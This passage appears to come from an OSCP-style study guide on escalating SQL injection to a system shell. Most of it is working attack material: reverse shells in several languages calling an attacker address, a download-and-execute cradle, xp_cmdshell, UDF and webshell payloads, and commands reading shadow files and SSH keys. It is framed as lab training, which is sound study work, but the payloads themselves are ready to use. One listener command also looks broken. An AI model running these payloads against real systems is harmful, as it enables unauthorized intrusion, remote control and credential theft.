powershell -nop -exec bypass -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.X',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$p=(iex $d 2>&1 | Out-String);$r=[Text.Encoding]::ASCII.GetBytes($p);$s.Write($r,0,$r.Length);$s.Flush()}};$c.Close()"

# Download cradle (downloads and executes a script from your server)
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.X/Invoke-PowerShellTcpOneReverse.ps1')"

Python Reverse Shell

# Python 2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.X",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.X",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Alternative Python 3
python3 -c 'import pty;import socket;s=socket.socket();s.connect(("10.10.14.X",443));pty.spawn("/bin/sh")'

NC (Netcat) Reverse Shell

# Standard netcat
nc -e /bin/sh 10.10.14.X 443

# With bash
nc -e /bin/bash 10.10.14.X 443

# Windows (ncat / ncat64)
ncat -e cmd.exe 10.10.14.X 443

# If -e is not supported (OpenBSD netcat)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.X 443 >/tmp/f

# Alternative without -e
nc 10.10.14.X 443 | /bin/bash | nc 10.10.14.X 444

PHP Reverse Shell

// Basic PHP reverse shell
php -r '$sock=fsockopen("10.10.14.X",443);exec("/bin/bash -i <&3 >&3 2>&3");'

// Alternative
php -r '$s=fsockopen("10.10.14.X",443);system("/bin/sh -i <&3 >&3 2>&3");'

// Full PHP reverse shell (save as file)
<?php
$sock = fsockopen("10.10.14.X", 443);
$descriptorspec = array(
    0 => array("pipe", "r"),
    1 => array("pipe", "w"),
    2 => array("pipe", "w")
);
$process = proc_open("/bin/bash -i", $descriptorspec, $pipes, NULL, NULL);
stream_copy_to_stream($pipes[1], $sock);
stream_copy_to_stream($pipes[2], $sock);
stream_copy_to_stream($sock, $pipes[0]);
proc_close($process);
fclose($sock);
?>

Perl Reverse Shell

perl -e 'use Socket;$i="10.10.14.X";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby Reverse Shell

ruby -rsocket -e 'f=TCPSocket.open("10.10.14.X",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

How to Trigger from SQLi Context

-- MySQL via UDF
SELECT sys_exec('bash -i >& /dev/tcp/10.10.14.X/443 0>&1');

-- MSSQL via xp_cmdshell
EXEC xp_cmdshell 'bash -i >& /dev/tcp/10.10.14.X/443 0>&1';

-- MSSQL via PowerShell
EXEC xp_cmdshell 'powershell -nop -exec bypass -c "$c=New-Object Net.Sockets.TCPClient(\"10.10.14.X\",443);..."';

-- Via webshell (after deploying via INTO OUTFILE)
-- Access: http://target/shell.php?cmd=bash%20-i%20%3E%26%20/dev/tcp/10.10.14.X/443%200%3E%261

Setting Up Your Listener

# Basic netcat listener
nc -lvnp 443

# With verbose output
nc -lvnp 443 -v

# Using socat (more reliable for interactive shells)
socat TCP-LISTEN:443,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

# Using Python
python3 -m pyserial.tools.listen 443

# Using rlwrap for better shell experience
rlwrap nc -lvnp 443

Shell Stabilization

Once you get a reverse shell, stabilize it:

# Method 1: Python pty
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Method 2: Script
script -qc /bin/bash /dev/null

# Method 3: Perl
perl -e 'use POSIX; setsid; open(STDIN, "/dev/tty"); open(STDOUT, "/dev/tty"); open(STDERR, "/dev/tty"); exec "/bin/bash";'

# Background the shell and reset terminal
# Press Ctrl+Z
stty raw -echo
fg
reset
export TERM=xterm

# Set up proper terminal
export SHELL=/bin/bash
export TERM=xterm-256color
stty rows 24 columns 80

Comparison Table

Method Database Difficulty Privilege Required Reliability Stealth
UDF Injection MySQL Medium-High FILE privilege High Medium
INTO OUTFILE Webshell MySQL Low-Medium FILE privilege Very High Low
General Log File MySQL Medium SUPER / SYSTEM_VARIABLES_ADMIN High Low
INTO DUMPFILE MySQL Low FILE privilege Very High Low
xp_cmdshell MSSQL Low sysadmin Very High Low
OLE Automation MSSQL Medium sysadmin High Medium
Agent Job MSSQL Medium-High sysadmin / SQLAgent role Medium Medium
CLR Assembly MSSQL High sysadmin + TRUSTWORTHY Medium High
COPY TO PostgreSQL Medium Superuser Medium Medium
pg_ls_dir PostgreSQL Low Superuser High (recon only) High
dblink PostgreSQL Medium-High Superuser Low-Medium Medium
DBMS_SCHEDULER Oracle Medium-High CREATE JOB / SCHEDULER_ADMIN Medium Medium
Java Execution Oracle High JAVAUSERPRIV Medium Medium
UTL_HTTP Oracle Low Execute on UTL_HTTP High (exfil only) High

Method Selection Decision Tree

SQLi Confirmed
    │
    ├── What database?
    │
    ├── MSSQL
    │   ├── Is xp_cmdshell available?
    │   │   ├── Yes → Enable and use (easiest path)
    │   │   └── No → Can you enable it? (sysadmin?)
    │   │       ├── Yes → sp_configure → xp_cmdshell
    │   │       └── No → Try OLE Automation
    │   │           ├── Success → WScript.Shell for commands
    │   │           └── No → Try Agent Job method
    │
    ├── MySQL
    │   ├── Do you have FILE privilege?
    │   │   ├── Yes → INTO OUTFILE webshell (easiest)
    │   │   │           └── If secure_file_priv restricts → General Log method
    │   │   └── No → Do you have SUPER privilege?
    │   │       ├── Yes → General Log File technique
    │   │       └── No → Try to escalate privileges first
    │
    ├── PostgreSQL
    │   ├── Are you superuser?
    │   │   ├── Yes → COPY TO webshell
    │   │   └── No → Focus on data exfiltration / privilege escalation
    │
    └── Oracle
        ├── Do you have CREATE JOB?
        │   ├── Yes → DBMS_SCHEDULER
        │   └── No → Do you have Java privileges?
        │       ├── Yes → Java-based execution
        │       └── No → UTL_HTTP for data exfiltration

Complete Escalation Path

From SQLi to System Shell — Full Walkthrough

Phase 1: Reconnaissance

-- 1. Confirm SQLi and determine database type
' OR 1=1-- -
' UNION SELECT 1,2,3-- -

-- 2. Fingerprint the database
SELECT VERSION();                    -- MySQL
SELECT @@VERSION;                    -- MSSQL
SELECT version();                    -- PostgreSQL
SELECT * FROM v$version;             -- Oracle

-- 3. Check current user and privileges
SELECT USER();                       -- MySQL
SELECT SYSTEM_USER();                -- MySQL
SELECT CURRENT_USER;                 -- MSSQL
SELECT USER;                         -- PostgreSQL
SELECT USER FROM dual;               -- Oracle

-- 4. Check privileges
SHOW GRANTS;                         -- MySQL
SELECT IS_SRVROLEMEMBER('sysadmin'); -- MSSQL
SELECT usesuper FROM pg_user WHERE usename = current_user; -- PostgreSQL

-- 5. Enumerate databases and tables
SHOW DATABASES;                      -- MySQL
SELECT name FROM master.sys.databases; -- MSSQL
SELECT schemaname FROM pg_catalog.pg_tables; -- PostgreSQL

-- 6. Look for credentials in common tables
SELECT * FROM users;
SELECT * FROM admin;
SELECT * FROM credentials;

Phase 2: Information Gathering (OS Level)

-- MySQL
SELECT @@basedir;
SELECT @@datadir;
SELECT @@plugin_dir;
SELECT @@secure_file_priv;
SELECT @@general_log_file;

-- MSSQL
EXEC master.dbo.xp_cmdshell 'systeminfo';
EXEC master.dbo.xp_cmdshell 'ipconfig /all';
EXEC master.dbo.xp_cmdshell 'net user';
EXEC master.dbo.xp_cmdshell 'net localgroup administrators';

-- Check for web root
EXEC xp_cmdshell 'dir C:\inetpub\wwwroot';

Phase 3: Command Execution

Path A: MSSQL with xp_cmdshell (Easiest)

-- Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- Quick test
EXEC xp_cmdshell 'whoami';

-- Deploy reverse shell
EXEC xp_cmdshell 'powershell -nop -exec bypass -c "$c=New-Object Net.Sockets.TCPClient(\"10.10.14.X\",443);..."';

Path B: MySQL with INTO OUTFILE

-- Check conditions
SELECT @@secure_file_priv;
SHOW GRANTS;

-- Deploy webshell
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- Access via browser or curl
-- http://target/shell.php?cmd=id

-- Upgrade to reverse shell
-- http://target/shell.php?cmd=bash%20-i%20%3E%26%20/dev/tcp/10.10.14.X/443%200%3E%261

Path C: MySQL with UDF

-- Write UDF DLL
SELECT UNHEX('...') INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.7\\lib\\plugin\\udf.dll';

-- Create function
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.dll';

-- Execute
SELECT sys_exec('powershell -nop -exec bypass -c "..."');

Phase 4: Shell Stabilization and Privilege Escalation

# Stabilize the shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo
fg
reset
export TERM=xterm-256color

# Linux privilege escalation checks
uname -a
id
sudo -l
cat /etc/passwd
cat /etc/shadow
find / -perm -4000 2>/dev/null
find / -type f -user root -perm -4000 2>/dev/null
crontab -l
cat /etc/crontab

# Windows privilege escalation checks
whoami /all
systeminfo
net user
net localgroup administrators
wmic qfe get Caption,Description,HotFixID,InstalledOn

Phase 5: Proof Collection

# Linux
cat /home/*/.ssh/authorized_keys
cat /root/proof.txt
cat /root/root.txt

# Windows
type C:\Users\*\Desktop\proof.txt
type C:\Users\Administrator\Desktop\proof.txt

Lab Practice Checklist

MySQL Labs

  • Deploy Metasploitable 2 (MySQL with FILE privilege)
  • Practice INTO OUTFILE webshell deployment
  • Practice UDF injection with lib_mysqludf_sys
  • Practice General Log File technique
  • Practice INTO DUMPFILE for binary writes

MSSQL Labs

  • Deploy a vulnerable MSSQL instance (e.g., DVWA with MSSQL backend)
  • Practice xp_cmdshell enablement and usage
  • Practice OLE Automation Procedures
  • Practice Agent Job method
  • Practice PowerShell reverse shells via xp_cmdshell

General Practice

  • Set up listeners with nc, socat, and Python
  • Practice shell stabilization techniques
  • Practice encoding payloads for different contexts
  • Practice WAF evasion techniques for webshell payloads
  • Time yourself: SQLi → Shell in under 15 minutes

OSCP-Specific Tips

  1. Always check secure_file_priv on MySQL before attempting file writes
  2. xp_cmdshell is your friend on MSSQL — always try to enable it first
  3. Have reverse shell payloads memorized or in a cheat sheet
  4. Use socat instead of nc for more reliable shells
  5. Stabilize your shell immediately — unstable shells waste time
  6. Document every step — you need it for the report
  7. If one method fails, try the next — don’t get stuck on one technique

Quick Reference Card

┌─────────────────────────────────────────────────────────────────┐
│              SQLi → Command Execution Quick Reference            │
├──────────────┬──────────────────────────────────────────────────┤
│  MySQL       │ 1. SELECT '<?php system($_GET["cmd"]); ?>'      │
│              │    INTO OUTFILE '/var/www/html/shell.php'        │
│              │ 2. CREATE FUNCTION sys_exec SONAME 'udf.dll'    │
│              │ 3. SET GLOBAL general_log_file = '/path/shell'  │
├──────────────┼──────────────────────────────────────────────────┤
│  MSSQL       │ 1. EXEC sp_configure 'xp_cmdshell', 1;          │
│              │    RECONFIGURE;                                  │
│              │ 2. EXEC xp_cmdshell 'whoami'                     │
│              │ 3. DECLARE @o INT; EXEC sp_OACreate             │
│              │    'WScript.Shell', @o OUT                      │
├──────────────┼──────────────────────────────────────────────────┤
│  PostgreSQL  │ 1. COPY (SELECT '<?php ... ?>') TO '/path'      │
│              │ 2. SELECT pg_ls_dir('/path')                    │
├──────────────┼──────────────────────────────────────────────────┤
│  Oracle      │ 1. DBMS_SCHEDULER.CREATE_JOB                    │
│              │ 2. Java-based exec via Runtime.getRuntime()     │
│              │ 3. UTL_HTTP for data exfiltration               │
├──────────────┼──────────────────────────────────────────────────┤
│  Reverse     │ bash -i >& /dev/tcp/IP/PORT 0>&1               │
│  Shell       │ powershell -nop -c "$c=New-Object..."           │
│              │ python3 -c 'import socket,subprocess,os;...'    │
└──────────────┴──────────────────────────────────────────────────┘

Last Updated: 2026-09-01 This study guide is for educational and authorized penetration testing purposes only.